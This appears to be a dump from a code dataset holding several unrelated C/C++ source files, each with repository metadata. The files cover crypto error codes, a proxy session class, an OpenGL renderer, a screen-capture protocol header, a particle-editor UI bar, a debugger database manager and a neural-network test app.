verification failed because of a malformed authenticated * message-digest attribute. */ #define VERR_CR_PKCS7_BAD_MESSAGE_DIGEST_ATTRIB (-23309) /** Signature verification failed. */ #define VERR_CR_PKCS7_SIGNATURE_VERIFICATION_FAILED (-23310) /** Internal PKCS \#7 error. */ #define VERR_CR_PKCS7_INTERNAL_ERROR (-22311) /** OpenSSL d2i_PKCS7 failed. */ #define VERR_CR_PKCS7_OSSL_D2I_FAILED (-22312) /** OpenSSL PKCS \#7 verification failed. */ #define VERR_CR_PKCS7_OSSL_VERIFY_FAILED (-22313) /** Digest algorithm parameters are not supported by the PKCS \#7 code. */ #define VERR_CR_PKCS7_DIGEST_PARAMS_NOT_IMPL (-22314) /** The digest algorithm of a signer info entry was not found in the list of * digest algorithms in the signed data. */ #define VERR_CR_PKCS7_DIGEST_ALGO_NOT_FOUND_IN_LIST (-22315) /** The PKCS \#7 content is not signed data. */ #define VERR_CR_PKCS7_NOT_SIGNED_DATA (-22316) /** No digest algorithms listed in PKCS \#7 signed data. */ #define VERR_CR_PKCS7_NO_DIGEST_ALGORITHMS (-22317) /** Too many digest algorithms used by PKCS \#7 signed data. This is an * internal limitation of the code that aims at saving kernel stack space. */ #define VERR_CR_PKCS7_TOO_MANY_DIGEST_ALGORITHMS (-22318) /** Error creating digest algorithm calculator. */ #define VERR_CR_PKCS7_DIGEST_CREATE_ERROR (-22319) /** Error while calculating a digest for a PKCS \#7 verficiation operation. */ #define VERR_CR_PKCS7_DIGEST_CALC_ERROR (-22320) /** Unsupported PKCS \#7 signed data version. */ #define VERR_CR_PKCS7_SIGNED_DATA_VERSION (-22350) /** PKCS \#7 signed data has no digest algorithms listed. */ #define VERR_CR_PKCS7_SIGNED_DATA_NO_DIGEST_ALGOS (-22351) /** Unknown digest algorithm used by PKCS \#7 object. */ #define VERR_CR_PKCS7_UNKNOWN_DIGEST_ALGORITHM (-22352) /** Expected PKCS \#7 object to ship at least one certificate. */ #define VERR_CR_PKCS7_NO_CERTIFICATES (-22353) /** Expected PKCS \#7 object to not contain any CRLs. */ #define VERR_CR_PKCS7_EXPECTED_NO_CRLS (-22354) /** Expected PKCS \#7 object to contain exactly on signer info entry. */ #define VERR_CR_PKCS7_EXPECTED_ONE_SIGNER_INFO (-22355) /** Unsupported PKCS \#7 signer info version. */ #define VERR_CR_PKCS7_SIGNER_INFO_VERSION (-22356) /** PKCS \#7 singer info contains no issuer serial number. */ #define VERR_CR_PKCS7_SIGNER_INFO_NO_ISSUER_SERIAL_NO (-22357) /** Expected PKCS \#7 object to ship the signer certificate(s). */ #define VERR_CR_PKCS7_SIGNER_CERT_NOT_SHIPPED (-22358) /** The encrypted digest algorithm does not match the one in the certificate. */ #define VERR_CR_PKCS7_SIGNER_INFO_DIGEST_ENCRYPT_MISMATCH (-22359) /** @} */ /** @name RTCrSpc status codes. * @{ */ /** Generic SPC error. */ #define VERR_CR_SPC_GENERIC_ERROR (-23400) /** SPC requires there to be exactly one SignerInfo entry. */ #define VERR_CR_SPC_NOT_EXACTLY_ONE_SIGNER_INFOS (-23401) /** There shall be exactly one digest algorithm to go with the single * SingerInfo entry required by SPC. */ #define VERR_CR_SPC_NOT_EXACTLY_ONE_DIGEST_ALGO (-23402) /** The digest algorithm in the SignerInfo does not match the one in the * indirect data. */ #define VERR_CR_SPC_SIGNED_IND_DATA_DIGEST_ALGO_MISMATCH (-23403) /** The digest algorithm in the indirect data was not found in the list of * digest algorithms in the signed data structure. */ #define VERR_CR_SPC_IND_DATA_DIGEST_ALGO_NOT_IN_DIGEST_ALGOS (-23404) /** The digest algorithm is not known to us. */ #define VERR_CR_SPC_UNKNOWN_DIGEST_ALGO (-23405) /** The indirect data digest size does not match the digest algorithm. */ #define VERR_CR_SPC_IND_DATA_DIGEST_SIZE_MISMATCH (-23406) /** Exptected PE image data inside indirect data object. */ #define VERR_CR_SPC_EXPECTED_PE_IMAGE_DATA (-23407) /** Internal SPC error: The PE image data is missing. */ #define VERR_CR_SPC_PEIMAGE_DATA_NOT_PRESENT (-23408) /** Bad SPC object moniker UUID field. */ #define VERR_CR_SPC_BAD_MONIKER_UUID (-23409) /** Unknown SPC object moniker UUID. */ #define VERR_CR_SPC_UNKNOWN_MONIKER_UUID (-23410) /** Internal SPC error: Bad object monker choice value. */ #define VERR_CR_SPC_BAD_MONIKER_CHOICE (-23411) /** Internal SPC error: Bad object moniker data pointer. */ #define VERR_CR_SPC_MONIKER_BAD_DATA (-23412) /** Multiple PE image page hash tables. */ #define VERR_CR_SPC_PEIMAGE_MULTIPLE_HASH_TABS (-23413) /** Unknown SPC PE image attribute. */ #define VERR_CR_SPC_PEIMAGE_UNKNOWN_ATTRIBUTE (-23414) /** URL not expected in SPC PE image data. */ #define VERR_CR_SPC_PEIMAGE_URL_UNEXPECTED (-23415) /** PE image data without any valid content was not expected. */ #define VERR_CR_SPC_PEIMAGE_NO_CONTENT (-23416) /** @} */ /** @name RTCrPkix status codes. * @{ */ /** Generic PKCS \#7 error. */ #define VERR_CR_PKIX_GENERIC_ERROR (-23500) /** Parameters was presented to a signature schema that does not take any. */ #define VERR_CR_PKIX_SIGNATURE_TAKES_NO_PARAMETERS (-23501) /** Unknown hash digest type. */ #define VERR_CR_PKIX_UNKNOWN_DIGEST_TYPE (-23502) /** Internal error. */ #define VERR_CR_PKIX_INTERNAL_ERROR (-23503) /** The hash is too long for the key used when signing/verifying. */ #define VERR_CR_PKIX_HASH_TOO_LONG_FOR_KEY (-23504) /** The signature is too long for the scratch buffer. */ #define VERR_CR_PKIX_SIGNATURE_TOO_LONG (-23505) /** The signature is greater than or equal to the key. */ #define VERR_CR_PKIX_SIGNATURE_GE_KEY (-23506) /** The signature is negative. */ #define VERR_CR_PKIX_SIGNATURE_NEGATIVE (-23507) /** Invalid signature length. */ #define VERR_CR_PKIX_INVALID_SIGNATURE_LENGTH (-23508) /** PKIX signature no does not match up to the current data. */ #define VERR_CR_PKIX_SIGNATURE_MISMATCH (-23509) /** PKIX cipher algorithm parameters are not implemented. */ #define VERR_CR_PKIX_CIPHER_ALGO_PARAMS_NOT_IMPL (-23510) /** ipher algorithm is not known to us. */ #define VERR_CR_PKIX_CIPHER_ALGO_NOT_KNOWN (-23511) /** PKIX cipher algorithm is not known to OpenSSL. */ #define VERR_CR_PKIX_OSSL_CIPHER_ALGO_NOT_KNOWN (-23512) /** PKIX cipher algorithm is not known to OpenSSL EVP API. */ #define VERR_CR_PKIX_OSSL_CIPHER_ALGO_NOT_KNOWN_EVP (-23513) /** OpenSSL failed to init PKIX cipher algorithm context. */ #define VERR_CR_PKIX_OSSL_CIPHER_ALOG_INIT_FAILED (-23514) /** Final OpenSSL PKIX verification failed. */ #define VERR_CR_PKIX_OSSL_VERIFY_FINAL_FAILED (-23515) /** OpenSSL failed to decode the public key. */ #define VERR_CR_PKIX_OSSL_D2I_PUBLIC_KEY_FAILED (-23516) /** The EVP_PKEY_type API in OpenSSL failed. */ #define VERR_CR_PKIX_OSSL_EVP_PKEY_TYPE_ERROR (-23517) /** @} */ /** @name RTCrStore status codes. * @{ */ /** Generic store error. */ #define VERR_CR_STORE_GENERIC_ERROR (-23700) /** @} */ /** @name RTCrRsa status codes. * @{ */ /** Generic RSA error. */ #define VERR_CR_RSA_GENERIC_ERROR (-23900) /** @} */ /** @name RTBigNum status codes. * @{ */ /** Sensitive input requires the result(s) to be initialized as sensitive. */ #define VERR_BIGNUM_SENSITIVE_INPUT (-24000) /** Attempt to divide by zero. */ #define VERR_BIGNUM_DIV_BY_ZERO (-24001) /** Negative exponent makes no sense to integer math. */ #define VERR_BIGNUM_NEGATIVE_EXPONENT (-24002) /** @} */ /** @name RTCrDigest status codes. * @{ */ /** OpenSSL failed to initialize the digest algorithm contextn. */ #define VERR_CR_DIGEST_OSSL_DIGEST_INIT_ERROR (-24200) /** OpenSSL failed to clone the digest algorithm contextn. */ #define VERR_CR_DIGEST_OSSL_DIGEST_CTX_COPY_ERROR (-24201) /** @} */ /* SED-END */ /** @} */ #endif
[ "stutsmans@ainfosec.com" ]
stutsmans@ainfosec.com
610e3ec04e81c1e22ab29ca34293462d00986fa6
29911ed02983d040acb22501d4638e76773f4b1d
/app/src/main/cpp/session/Session.cpp
b4e00af0a0cad819cf7ccb8a13ace6687b3a9ce5
[]
no_license
XiaoShenOL/EnvProxy
cfa6dadd676c4cf063dc38a1ef8d03855e07af18
e07993f293e87143e562daa3a754db89f69726ee
refs/heads/master
2023-03-17T07:49:07.154929
2018-12-18T12:31:06
2018-12-18T12:31:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,260
cpp
// // Created by Rqg on 24/04/2018. // #include "Session.h" #include "../proxyTypes.h" #include "../transport/TransportHandler.h" Session::Session(SessionInfo *sessionInfo) : next(nullptr), prev(nullptr) { } Session::~Session() { } int Session::onTunDown(SessionInfo *sessionInfo, DataBuffer *downData) { if (next == nullptr) { return onTunUp(sessionInfo, downData); } else { return next->onTunDown(sessionInfo, downData); } } int Session::onTunUp(SessionInfo *sessionInfo, DataBuffer *upData) { if (prev == nullptr) { return sessionInfo->transportHandler->dataToSocket(sessionInfo, upData); } else { return prev->onTunUp(sessionInfo, upData); } } int Session::onSocketDown(SessionInfo *sessionInfo, DataBuffer *downData) { if (next == nullptr) { return onSocketUp(sessionInfo, downData); } else { return next->onSocketDown(sessionInfo, downData); } } int Session::onSocketUp(SessionInfo *sessionInfo, DataBuffer *upData) { if (prev == nullptr) { return sessionInfo->transportHandler->dataToTun(sessionInfo, upData); } else { return prev->onSocketUp(sessionInfo, upData); } } void Session::releaseResource(SessionInfo *sessionInfo) { }
[ "ranqingguo@youzan.com" ]
ranqingguo@youzan.com
3ec753548cbdcb62351981c9b5f2d229a3f8784c
9768868775d6b622530d8922a7ce2e8113d58baa
/tutorial_03-lighting/src/rendering/Renderer.cpp
82d2b21168cd419f09d090ad7ceca38e79ed1e36
[ "MIT" ]
permissive
DevRaptor/OpenGL_tutorial
7494f97b6a4fcda43cdd885c3bacaf4609923072
46b74b08a8da4d8a8fdf7fe6acdd87bb5bd8c26b
refs/heads/master
2020-06-10T07:59:18.159484
2017-01-20T14:46:35
2017-01-20T14:46:35
75,983,930
0
0
null
null
null
null
UTF-8
C++
false
false
1,898
cpp
#include "Renderer.h" #include <GL/glew.h> #include <glm/glm.hpp> #include <glm/ext.hpp> #include "modules/GameModule.h" #include "utility/Log.h" #include "utility/FileUtility.h" Renderer::Renderer() { int resolution_x = GameModule::resources->GetIntParameter("resolution_x"); int resolution_y = GameModule::resources->GetIntParameter("resolution_y"); window = SDL_CreateWindow(GameModule::resources->GetStringParameter("game_title").c_str(), SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, resolution_x, resolution_y, SDL_WINDOW_OPENGL); if (window == NULL) { Logger::Log("Could not create window: ", SDL_GetError(), "\n"); std::exit(EXIT_FAILURE); } SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 3); context = SDL_GL_CreateContext(window); glewExperimental = true; glewInit(); glEnable(GL_DEPTH_TEST); glDepthFunc(GL_LESS); glClearColor(0, 0, 0, 0); glViewport(0, 0, resolution_x, resolution_y); glClear(GL_COLOR_BUFFER_BIT); SDL_GL_SwapWindow(window); shader_program = std::make_shared<ShaderProgram>("data/shaders/color.vert", "data/shaders/color.frag"); shader_program->UseProgram(); mvp_uniform = glGetUniformLocation(shader_program->GetProgram(), "mvp"); transform_uniform = glGetUniformLocation(shader_program->GetProgram(), "transform"); } Renderer::~Renderer() { SDL_GL_DeleteContext(context); SDL_DestroyWindow(window); } void Renderer::Render(std::shared_ptr<GameState> game_state) { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); shader_program->UseProgram(); mvp = game_state->camera->GetMVP(); glUniformMatrix4fv(mvp_uniform, 1, GL_FALSE, glm::value_ptr(mvp)); for (auto mesh : game_state->meshes) { if (mesh) { glUniformMatrix4fv(transform_uniform, 1, GL_FALSE, glm::value_ptr(mesh->GetTransform())); mesh->Draw(); } } SDL_GL_SwapWindow(window); }
[ "krzysztoftaperek@gmail.com" ]
krzysztoftaperek@gmail.com
62f90e3e3a01873cee7bd73f9f9c2c8a2000a2de
0ef4f71c8ff2f233945ee4effdba893fed3b8fad
/misc_microsoft_gamedev_source_code/misc_microsoft_gamedev_source_code/tools/screencap/screenCapProtocol.h
771c6651f6ee3dca8b46da7eb78ad94d7602b1b2
[]
no_license
sgzwiz/misc_microsoft_gamedev_source_code
1f482b2259f413241392832effcbc64c4c3d79ca
39c200a1642102b484736b51892033cc575b341a
refs/heads/master
2022-12-22T11:03:53.930024
2020-09-28T20:39:56
2020-09-28T20:39:56
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,853
h
//------------------------------------------------------------------------------------------------- // // File: screenCapProtocol.h // Copyright (c) 2007, Ensemble Studios // //------------------------------------------------------------------------------------------------- #pragma once #include "hash\crc.h" namespace ScreenCapProtocol { enum { cScreenCapVersion = 0x100, cProtocolVersion = 0x100, cPort = 3667, }; enum ePacketTypes { cPTInvalid = -1, cPTHello, cPTBye, cPTFrame, }; #pragma pack(push, 1) struct BPacketHeader { enum { cSig = 0xDAB70976 }; DWORD mSig; DWORD mDataSize; DWORD mDataCRC32; BYTE mType; BYTE mFlags; WORD mHeaderCRC16; enum { cFlagDataIsNameValueMap = 1 }; BPacketHeader() { } BPacketHeader(DWORD dataSize, DWORD dataCRC32, BYTE type, BYTE flags, bool bigEndian) : mSig((DWORD)cSig), mDataSize(dataSize), mDataCRC32(dataCRC32), mType(type), mFlags(flags) { if (bigEndian != cBigEndianNative) { endianSwitch(); mHeaderCRC16 = computeHeaderCRC16(); EndianSwitchWords(&mHeaderCRC16, 1); } else { mHeaderCRC16 = computeHeaderCRC16(); } } uint16 computeHeaderCRC16(void) const { return calcCRC16Fast(this, sizeof(*this) - sizeof(WORD)); } void endianSwitch(void) { EndianSwitchWorker(this, this + 1, "iiiccs"); } }; #pragma pack(pop) }
[ "benjamin.barratt@icloud.com" ]
benjamin.barratt@icloud.com
ce9208e84993c360e57fc51b4502b02a16aae0a5
231f7d4eac4634c234eeed5d9a155b187592dd80
/Rhythm-Jumper/Keyhandler.h
0b6818b215536de3cb065c435c32ec04241aa645
[]
no_license
Mike-Wilker/Rhythm-Jumper
1934eb631e1a1f9ee177e93e5c4d41432d5a604d
e313c1dfcd5250248578b456324c3ab7fc7ce412
refs/heads/master
2020-05-06T20:06:09.276679
2019-05-06T16:27:56
2019-05-06T16:27:56
180,218,489
0
0
null
2019-05-06T16:27:57
2019-04-08T19:26:38
C
UTF-8
C++
false
false
634
h
#pragma once class KeyHandler { private: std::list<SDL_Keycode> heldKeys; SDL_mutex* mutex; public: KeyHandler() { mutex = SDL_CreateMutex(); } void pollKeys() { SDL_LockMutex(mutex); SDL_Event event; while (SDL_PollEvent(&event)) { switch (event.type) { case SDL_KEYDOWN: heldKeys.emplace_front(event.key.keysym.sym); break; case SDL_KEYUP: heldKeys.remove(event.key.keysym.sym); break; } } SDL_UnlockMutex(mutex); } std::list<SDL_Keycode> getHeldKeys() { SDL_LockMutex(mutex); SDL_UnlockMutex(mutex); return heldKeys; } ~KeyHandler() { SDL_DestroyMutex(mutex); } };
[ "mwilker@ltu.edu" ]
mwilker@ltu.edu
2534d61edf6d544c783b94082bb0f6997bc3bbf6
4bdb20c69bbc289c491d76179b77fcee4f262f29
/ogsr_engine/editors/ParticleEditor/BottomBar.cpp
aa85d478e443b00670571590386335acd1a59692
[]
no_license
Roman-n/ogsr-engine
1a42e3f378c93c55ca918be171e2feb0ffd50e4c
6b16bf6593bd8a647f7f150e5cf6f80d7474585f
refs/heads/main
2023-02-22T01:38:06.681481
2018-05-02T20:54:55
2018-05-02T20:54:55
332,519,405
0
0
null
null
null
null
UTF-8
C++
false
false
12,428
cpp
//--------------------------------------------------------------------------- #include "stdafx.h" #pragma hdrstop #include "BottomBar.h" #include "LogForm.h" #include "ui_main.h" #include "igame_persistent.h" #include "environment.h" #include "../xrEProps/PropertiesListHelper.h" #include "../xrEProps/PropertiesList.h" //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma link "ExtBtn" #pragma link "MxMenus" #pragma link "mxPlacemnt" #pragma resource "*.dfm" TfraBottomBar *fraBottomBar=0; //--------------------------------------------------------------------------- __fastcall TfraBottomBar::TfraBottomBar(TComponent* Owner) : TFrame(Owner) { DEFINE_INI(fsStorage); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ClickOptionsMenuItem(TObject *Sender) { TMenuItem* mi = dynamic_cast<TMenuItem*>(Sender); if (mi){ mi->Checked = !mi->Checked; if (mi==miDrawGrid) ExecCommand(COMMAND_TOGGLE_GRID); else if (mi==miRenderWithTextures) psDeviceFlags.set(rsRenderTextures,mi->Checked); else if (mi==miMuteSounds) psDeviceFlags.set(rsMuteSounds,mi->Checked); else if (mi==miLightScene) psDeviceFlags.set(rsLighting,mi->Checked); else if (mi==miRenderLinearFilter) psDeviceFlags.set(rsFilterLinear,mi->Checked); else if (mi==miRenderEdgedFaces) psDeviceFlags.set(rsEdgedFaces,mi->Checked); else if (mi==miFog) psDeviceFlags.set(rsFog,mi->Checked); else if (mi==miRealTime) psDeviceFlags.set(rsRenderRealTime,mi->Checked); else if (mi==miDrawSafeRect) ExecCommand(COMMAND_TOGGLE_SAFE_RECT); else if (mi==miRenderFillPoint) Device.dwFillMode = D3DFILL_POINT; else if (mi==miRenderFillWireframe) Device.dwFillMode = D3DFILL_WIREFRAME; else if (mi==miRenderFillSolid) Device.dwFillMode = D3DFILL_SOLID; else if (mi==miRenderShadeFlat) Device.dwShadeMode = D3DSHADE_FLAT; else if (mi==miRenderShadeGouraud) Device.dwShadeMode = D3DSHADE_GOURAUD; else if (mi==miRenderHWTransform){ HW.Caps.bForceGPU_SW = !mi->Checked; UI->Resize(); } } UI->RedrawScene(); ExecCommand(COMMAND_UPDATE_TOOLBAR); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::QualityClick(TObject *Sender) { UI->SetRenderQuality((float)(((TMenuItem*)Sender)->Tag)/100); ((TMenuItem*)Sender)->Checked = true; UI->Resize(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::fsStorageRestorePlacement(TObject *Sender) { // fill mode if (miRenderFillPoint->Checked) Device.dwFillMode=D3DFILL_POINT; else if (miRenderFillWireframe->Checked)Device.dwFillMode=D3DFILL_WIREFRAME; else if (miRenderFillSolid->Checked) Device.dwFillMode=D3DFILL_SOLID; // shade mode if (miRenderShadeFlat->Checked) Device.dwShadeMode=D3DSHADE_FLAT; else if (miRenderShadeGouraud->Checked) Device.dwShadeMode=D3DSHADE_GOURAUD; // hw transform HW.Caps.bForceGPU_SW = !miRenderHWTransform->Checked; // quality if (N200->Checked) QualityClick(N200); else if (N150->Checked) QualityClick(N150); else if (N125->Checked) QualityClick(N125); else if (N100->Checked) QualityClick(N100); else if (N75->Checked) QualityClick(N75); else if (N50->Checked) QualityClick(N50); else if (N25->Checked) QualityClick(N25); // setup menu miWeather->Clear(); TMenuItem* mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "none"; mi->OnClick = miWeatherClick; mi->Tag = -1; mi->Checked = true; mi->RadioItem = true; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; miWeather->Add (mi); /* // append weathers CEnvironment::EnvsMapIt _I=g_pGamePersistent->Environment().WeatherCycles.begin(); CEnvironment::EnvsMapIt _E=g_pGamePersistent->Environment().WeatherCycles.end(); for (; _I!=_E; _I++){ mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = *_I->first; mi->OnClick = miWeatherClick; mi->RadioItem = true; miWeather->Add (mi); } */ mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Reload"; mi->OnClick = miWeatherClick; mi->Tag = -2; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Properties..."; mi->OnClick = miWeatherClick; mi->Tag = -3; miWeather->Add (mi); psDeviceFlags.set (rsEnvironment,FALSE); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebLogClick(TObject *Sender) { TfrmLog::ChangeVisible(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebStopClick(TObject *Sender) { ExecCommand(COMMAND_BREAK_LAST_OPERATION); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebStatClick(TObject *Sender) { psDeviceFlags.set(rsStatistic,!psDeviceFlags.is(rsStatistic)); UI->RedrawScene(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebOptionsMouseDown(TObject *Sender, TMouseButton Button, TShiftState Shift, int X, int Y) { POINT pt; GetCursorPos(&pt); pmOptions->Popup(pt.x,pt.y); TExtBtn* btn = dynamic_cast<TExtBtn*>(Sender); VERIFY(btn); btn->MouseManualUp(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::pmOptionsPopup(TObject *Sender) { miRenderWithTextures->Checked = psDeviceFlags.is(rsRenderTextures); miLightScene->Checked = psDeviceFlags.is(rsLighting); miMuteSounds->Checked = psDeviceFlags.is(rsMuteSounds); miRenderLinearFilter->Checked = psDeviceFlags.is(rsFilterLinear); miRenderEdgedFaces->Checked = psDeviceFlags.is(rsEdgedFaces); miRealTime->Checked = psDeviceFlags.is(rsRenderRealTime); miFog->Checked = psDeviceFlags.is(rsFog); miDrawGrid->Checked = psDeviceFlags.is(rsDrawGrid); miDrawSafeRect->Checked = psDeviceFlags.is(rsDrawSafeRect); for(int i=0; i < miWeather->Count; ++i) { TMenuItem* mi = miWeather->Items[i]; BOOL bch; bch = ((EPrefs->sWeather.size()) && (0==stricmp(mi->Caption.c_str(), EPrefs->sWeather.c_str()))) || (mi->Caption=="none" && EPrefs->sWeather.size()==0) ; mi->Checked = bch; } } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::miWeatherClick(TObject *Sender) { /* TMenuItem* mi = dynamic_cast<TMenuItem*>(Sender); if (mi){ if (mi->Tag==0){ psDeviceFlags.set (rsEnvironment,TRUE); g_pGamePersistent->Environment().SetWeather(mi->Caption.c_str()); EPrefs->sWeather = mi->Caption.c_str(); mi->Checked = !mi->Checked; }else if (mi->Tag==-1){ psDeviceFlags.set (rsEnvironment,FALSE); g_pGamePersistent->Environment().SetWeather(0); EPrefs->sWeather = ""; mi->Checked = !mi->Checked; }else if (mi->Tag==-2){ Engine.ReloadSettings(); g_pGamePersistent->Environment().ED_Reload(); }else if (mi->Tag==-3){ TProperties* P = TProperties::CreateModalForm("Weather properties"); CEnvironment& env = g_pGamePersistent->Environment(); PropItemVec items; float ft=env.ed_from_time,tt=env.ed_to_time,sp=env.fTimeFactor; PHelper().CreateTime (items,"From Time", &ft); PHelper().CreateTime (items,"To Time", &tt); PHelper().CreateFloat (items,"Speed", &sp, 1.f,10000.f,1.f,1); P->AssignItems (items); if (mrOk==P->ShowPropertiesModal()){ env.ed_from_time = ft; env.ed_to_time = tt; env.fTimeFactor = sp; } TProperties::DestroyForm(P); } } */ } //--------------------------------------------------------------------------- void TfraBottomBar::RedrawBar() { SPBItem* pbi = UI->ProgressLast(); if (pbi){ AnsiString txt; float p,m; pbi->GetInfo(txt,p,m); // status line if (paStatus->Caption!=txt){ paStatus->Caption = txt; paStatus->Repaint (); } // progress int val = fis_zero(m)?0:(int)((p/m)*100); if (val!=cgProgress->Progress){ cgProgress->Progress = val; cgProgress->Repaint (); } if (false==cgProgress->Visible) cgProgress->Visible = true; }else{ if (cgProgress->Visible){ // status line paStatus->Caption = ""; paStatus->Repaint (); // progress cgProgress->Visible = false; cgProgress->Progress = 0; } } } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroAssignClick(TObject *Sender) { ExecCommand(COMMAND_ASSIGN_MACRO,((TMenuItem*)Sender)->Tag,0); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroClearClick(TObject *Sender) { ExecCommand(COMMAND_ASSIGN_MACRO,((TMenuItem*)Sender)->Tag,xr_string("")); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroExecuteClick(TObject *Sender) { ExecCommand(COMMAND_RUN_MACRO,((TMenuItem*)Sender)->Tag,0); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroLogCommandsClick(TObject *Sender) { ExecCommand(COMMAND_LOG_COMMANDS,((TMenuItem*)Sender)->Checked,0); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroEditCommandListClick(TObject *Sender) { ExecCommand(COMMAND_EDIT_COMMAND_LIST); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebMacroMouseDown(TObject *Sender, TMouseButton Button, TShiftState Shift, int X, int Y) { SECommand* CMD = GetEditorCommands()[COMMAND_RUN_MACRO]; VERIFY(CMD); // fill macroses pmMacro->Items->Clear(); TMenuItem* mi; for (u32 k=0; k<CMD->sub_commands.size(); ++k){ SESubCommand* SUB = CMD->sub_commands[k]; BOOL bValid = !xr_string(SUB->p0).empty(); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = AnsiString().sprintf("%d: %s",k+1,bValid?xr_string(SUB->p0).c_str():"<empty>"); TMenuItem* e = xr_new<TMenuItem>((TComponent*)0); e->Caption = "Execute"; e->OnClick = MacroExecuteClick; e->Enabled = bValid; e->Tag = k; e->ShortCut = SUB->shortcut.hotkey; TMenuItem* a = xr_new<TMenuItem>((TComponent*)0); a->Caption = "Assign"; a->OnClick = MacroAssignClick; a->Tag = k; TMenuItem* c = xr_new<TMenuItem>((TComponent*)0); c->Caption = "Clear"; c->OnClick = MacroClearClick; c->Tag = k; mi->Add (e); mi->Add (a); mi->Add (c); pmMacro->Items->Add(mi); } mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; pmMacro->Items->Add(mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Edit Command List..."; mi->OnClick = MacroEditCommandListClick; pmMacro->Items->Add(mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Log Commands"; mi->AutoCheck = true; mi->Checked = AllowLogCommands(); mi->OnClick = MacroLogCommandsClick; pmMacro->Items->Add(mi); // popup menu POINT pt; GetCursorPos (&pt); pmMacro->Popup (pt.x,pt.y); TExtBtn* btn = dynamic_cast<TExtBtn*>(Sender); VERIFY(btn); btn->MouseManualUp(); } //---------------------------------------------------------------------------
[ "kdementev@gmail.com" ]
kdementev@gmail.com
068cd0e84d509fabc40c6f35b48cb1668e4b3709
7a0292c146e4a94205d2c70bb558aa86436819a9
/qtNanomite/clsDBManager.h
b2d26a1cb3e783bffc8baf8d205cda404110af21
[]
no_license
tr4ceflow/Nanomite
beff56079b7a389671809afe138d940d73a645e8
b14a207893f9efc1f257404e79b3e963ea299b85
refs/heads/master
2020-05-29T11:07:37.571103
2014-05-01T18:02:31
2014-05-01T18:02:31
19,343,371
1
0
null
null
null
null
UTF-8
C++
false
false
1,629
h
/* * This file is part of Nanomite. * * Nanomite is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Nanomite is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Nanomite. If not, see <http://www.gnu.org/licenses/>. */ #ifndef CLSDBMANAGER_H #define CLSDBMANAGER_H #include "clsDBInterface.h" #include <vector> class clsDBManager { public: struct DB { int PID; clsDBInterface *DBi; }; clsDBManager(); ~clsDBManager(); static bool DBAPI_getSymbolsFromPID(int PID,unsigned long long Key,std::wstring &ModName,std::wstring &FuncName); static bool DBAPI_insertSymbolsFromPID(int PID,unsigned long long Key,std::wstring ModName,std::wstring FuncName); // static bool DBAPI_insertTraceInfo(unsigned long long currentOffset,int PID,int TID,std::wstring currentInstruction,std::wstring currentRegs); // static bool DBAPI_getTraceInfo(int count,unsigned long long startOffset,int &PID, int &TID,std::vector<std::wstring> instructions,std::vector<std::wstring> regs); static bool OpenNewFile(int PID,std::wstring FilePath); static bool CloseFile(int PID); private: static clsDBManager* pThis; std::vector<DB> DBs; }; #endif
[ "zer0fl4g@gmail.com" ]
zer0fl4g@gmail.com
1536aaba21301c6e472e54eab461286d14baff8d
743fcba88e8f50e5d87456da40be1a94bd6c218b
/application/test/test_neural_network/neural_network_application.cpp
5e4eeb5e125365f7ea2aa494451506efcbd4a369
[]
no_license
rohingosling/common_cpp
3be1d1d92e857baf22650158046837c390034c62
833ca4fa57f5ca473a718e9116ea6c4f9d1cf0ef
refs/heads/master
2020-05-21T04:21:02.191195
2017-07-14T15:04:40
2017-07-14T15:04:40
66,406,136
0
0
null
null
null
null
UTF-8
C++
false
false
20,724
cpp
//-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // Project: Entelect 100k Challenge. // Application: Neural Network test application. // Class: TestApplication // Version: 1.0 // Date: 2015 // Author: Rohin Gosling // // Description: // // Test class, used to test the NeuralNetwork class. // //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #include "stdafx.h" #include "neural_network_application.h" #include "static_utility.h" #include "neural_network.h" #include "stop_clock.h" #include <iostream> #include <string> #include <iomanip> #include <chrono> using namespace std; using namespace std::chrono; // We will be using some timming functions for measurement. using namespace common; //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // Constructor 